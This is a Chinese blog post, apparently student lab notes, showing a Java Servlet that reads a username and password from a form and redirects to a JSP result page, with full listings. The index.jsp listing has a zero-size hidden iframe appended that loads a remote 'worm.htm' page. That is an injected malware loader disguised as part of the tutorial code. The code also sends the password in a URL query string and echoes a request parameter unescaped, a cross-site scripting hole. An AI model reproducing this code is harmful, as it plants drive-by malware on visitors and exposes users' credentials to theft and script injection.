JSP与Servlet (学校实验第二天)

本文介绍如何在Eclipse中创建并使用Servlet,包括通过GET和POST请求处理用户输入,并将处理结果重定向到JSP页面的过程。同时展示了如何在index.jsp页面上设置表单提交到Servlet。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

  jsp语法以前就比较熟悉,就不说了。这次主要讲servlet。
 在eclipse中新建servlet,它会自动产生编译后的class放在web-inf,和更新对应的web.xml,并且每次保存源码时更新那个class。

访问时,输入http://localhost:8080/test
返回地址为:http://localhost:8080/test/result.jsp?str=fdf:fdf

中间servlet进行了处理,直接访问servlet地址为:http://localhost:8080/test/servlet/Request

特别注明:网站目录不要放在tomcat的ROOT里面,应该和它并列放。本例就放test文件夹

//Requset.java

import java.io.IOException;
import java.io.PrintWriter;

import javax.servlet.*;
import javax.servlet.ServletException;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;


public class Request extends HttpServlet {

 /**
  * Constructor of the object.
  */
 public Request() {
  super();
 }

 /**
  * Destruction of the servlet. <br>
  */
 public void destroy() {
  super.destroy(); // Just puts "destroy" string in log
  // Put your code here
 }

 /**
  * The doGet method of the servlet. <br>
  *
  * This method is called when a form has its tag value method equals to get.
  *
  * @param request the request send by the client to the server
  * @param response the response send by the server to the client
  * @throws ServletException if an error occurred
  * @throws IOException if an error occurred
  */
 public void doGet(HttpServletRequest request, HttpServletResponse response)
   throws ServletException, IOException {
  response.setContentType("text/htm;charset=GB2312");

  String username=request.getParameter("username");
  String password=request.getParameter("password");
  response.sendRedirect("../result.jsp?str="+username+":"+password);
  
 }

 /**
  * The doPost method of the servlet. <br>
  *
  * This method is called when a form has its tag value method equals to post.
  *
  * @param request the request send by the client to the server
  * @param response the response send by the server to the client
  * @throws ServletException if an error occurred
  * @throws IOException if an error occurred
  */
 public void doPost(HttpServletRequest request, HttpServletResponse response)
   throws ServletException, IOException {
  doGet(request,response);
 }

 /**
  * Initialization of the servlet. <br>
  *
  * @throws ServletException if an error occure
  */
 public void init() throws ServletException {
  // Put your code here
 }

}

//index.jsp

<%@ page language="java" contentType="text/html; charset=gb2312"
    pageEncoding="gb2312"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
<title>Insert title here</title>
</head>
<body>
Hello!
<a href="servlet/Request?username=abc&password=123">link</a>
<form action="servlet/Request" method=POST>
姓名:<input type=text size=20 name=username><br>
密码:<input type=password size=20 name=password><br>
<input type=submit value='post to Request Servlet'>
</body>
</html><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>

//result.jsp

<%@ page language="java" contentType="text/html; charset=ISO-8859-1"
    pageEncoding="ISO-8859-1"%>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1">
<title>Insert title here</title>
</head>
<body>
result.jsp:
<%
out.println(request.getParameter("str"));
 %>
</body>
</html>

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值